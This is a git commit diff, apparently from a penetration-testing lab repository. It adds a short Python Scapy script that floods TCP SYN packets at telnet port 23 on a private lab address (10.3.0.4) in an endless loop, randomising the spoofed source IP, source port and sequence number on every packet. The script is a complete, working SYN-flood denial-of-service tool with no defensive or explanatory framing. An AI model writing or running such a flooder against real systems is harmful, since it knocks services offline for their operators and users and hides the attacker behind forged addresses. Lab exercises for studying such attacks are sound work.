refactored. 01-02-03 done
This commit is contained in:
15
02-pentest/01-network/01-tcpip/02-tcp/volume/opt1.py
Executable file
15
02-pentest/01-network/01-tcpip/02-tcp/volume/opt1.py
Executable file
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
from scapy.all import IP, TCP, send
|
||||
from ipaddress import IPv4Address
|
||||
from random import getrandbits
|
||||
|
||||
ip = IP(dst="10.3.0.4")
|
||||
tcp = TCP(dport=23, flags='S')
|
||||
pkt = ip/tcp
|
||||
|
||||
while True:
|
||||
pkt[IP].src = str(IPv4Address(getrandbits(32)))
|
||||
pkt[TCP].sport = getrandbits(16)
|
||||
pkt[TCP].seq = getrandbits(32)
|
||||
send(pkt, iface = 'eth0', verbose = 0)
|
||||
Reference in New Issue
Block a user